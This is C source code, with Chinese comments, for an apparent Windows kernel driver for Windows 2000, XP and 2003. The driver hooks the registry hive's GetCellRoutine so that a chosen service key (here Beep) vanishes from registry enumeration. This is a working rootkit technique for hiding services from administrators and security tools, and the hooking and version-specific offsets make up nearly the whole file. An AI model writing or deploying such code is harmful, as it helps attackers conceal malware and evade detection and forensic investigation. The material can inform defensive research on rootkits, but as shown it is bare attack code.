1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
| #include <ntddk.h>
#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )
#define CM_KEY_INDEX_ROOT 0x6972 // ir
#define CM_KEY_INDEX_LEAF 0x696c // il
#define CM_KEY_FAST_LEAF 0x666c // fl
#define CM_KEY_HASH_LEAF 0x686c // hl
// 一些CM的数据结构，只列出用到的开头部分
#pragma pack(1)
typedef struct _CM_KEY_NODE {
USHORT Signature;
USHORT Flags;
LARGE_INTEGER LastWriteTime;
ULONG Spare; // used to be TitleIndex
HANDLE Parent;
ULONG SubKeyCounts[2]; // Stable and Volatile
HANDLE SubKeyLists[2]; // Stable and Volatile
// ...
} CM_KEY_NODE, *PCM_KEY_NODE;
typedef struct _CM_KEY_INDEX {
USHORT Signature;
USHORT Count;
HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;
typedef struct _CM_KEY_BODY {
ULONG Type; // "ky02"
PVOID KeyControlBlock;
PVOID NotifyBlock;
PEPROCESS Process; // the owner process
LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;
typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
typedef struct _HHIVE {
ULONG Signature;
PGET_CELL_ROUTINE GetCellRoutine;
// ...
} HHIVE, *PHHIVE;
#pragma pack()
// 需隐藏的主键名
WCHAR g_HideKeyName[] = L"\\\\Registry\\\\Machine\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Beep";
PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;
// 打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
NTSTATUS status;
UNICODE_STRING uKeyName;
OBJECT_ATTRIBUTES oa;
HANDLE hKey;
RtlInitUnicodeString(&uKeyName, pwcsKeyName);
InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwOpenKey(&hKey, KEY_READ, &oa);
if (!NT_SUCCESS(status))
{
DbgPrint("ZwOpenKey Failed: %lx\\n", status);
return NULL;
}
return hKey;
}
// 获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
NTSTATUS status;
PCM_KEY_BODY KeyBody;
PVOID KCB;
if (hKey == NULL) return NULL;
// 由Key句柄获取对象体
status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
if (!NT_SUCCESS(status))
{
DbgPrint("ObReferenceObjectByHandle Failed: %lx\\n", status);
return NULL;
}
// 对象体中含有KeyControlBlock
KCB = KeyBody->KeyControlBlock;
DbgPrint("KeyControlBlock = %lx\\n", KCB);
ObDereferenceObject(KeyBody);
return KCB;
}
// 获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
// 获取父键的节点
PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
// 获取子键的索引
PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
DbgPrint("ParentNode = %lx\\nIndex = %lx\\n", ParentNode, Index);
// 如果为根(二级)索引，获取最后一个索引
if (Index->Signature == CM_KEY_INDEX_ROOT)
{
Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
DbgPrint("Index = %lx\\n", Index);
}
if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
{
// 快速叶索引(2k)或散列叶索引(XP/2k3)，返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
}
else
{
// 一般叶索引，返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
}
}
// GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
// 调用原函数
PVOID pRet = g_pGetCellRoutine(Hive, Cell);
if (pRet)
{
// 返回的是需要隐藏的节点
if (pRet == g_HideNode)
{
DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\\n", Hive, Cell, pRet);
// 查询、保存并返回其父键的最后一个子键的节点
pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
DbgPrint("g_LastNode = %lx\\n", g_LastNode);
// 隐藏的正是最后一个节点，返回空值
if (pRet == g_HideNode) pRet = NULL;
}
// 返回的是先前保存的最后一个节点
else if (pRet == g_LastNode)
{
DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\\n", Hive, Cell, pRet);
// 清空保存值，并返回空值
pRet = g_LastNode = NULL;
}
}
return pRet;
}
NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
DbgPrint("DriverUnload()\\n");
// 解除挂钩
if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
ULONG BuildNumber;
ULONG KeyHiveOffset; // KeyControlBlock->KeyHive
ULONG KeyCellOffset; // KeyControlBlock->KeyCell
HANDLE hKey;
PVOID KCB, Hive;
DbgPrint("DriverEntry()\\n");
pDrvObj->DriverUnload = DriverUnload;
// 查询BuildNumber
if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
DbgPrint("BuildNumber = %d\\n", BuildNumber);
// KeyControlBlock结构各版本略有不同
// Cell的值一般小于0x80000000，而Hive正相反，以此来判断也可以
switch (BuildNumber)
{
case 2195: // Win2000
KeyHiveOffset = 0xc;
KeyCellOffset = 0x10;
break;
case 2600: // WinXP
case 3790: // Win2003
KeyHiveOffset = 0x10;
KeyCellOffset = 0x14;
break;
default:
return STATUS_NOT_SUPPORTED;
}
// 打开需隐藏的键
hKey = OpenKeyByName(g_HideKeyName);
// 获取该键的KeyControlBlock
KCB = GetKeyControlBlock(hKey);
if (KCB)
{
// 由KCB得到Hive
PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
// GetCellRoutine在KCB中，保存原地址
g_ppGetCellRoutine = &Hive->GetCellRoutine;
g_pGetCellRoutine = Hive->GetCellRoutine;
DbgPrint("GetCellRoutine = %lx\\n", g_pGetCellRoutine);
// 获取需隐藏的节点并保存
g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
// 挂钩GetCell例程
Hive->GetCellRoutine = MyGetCellRoutine;
}
ZwClose(hKey);
return STATUS_SUCCESS;
}
|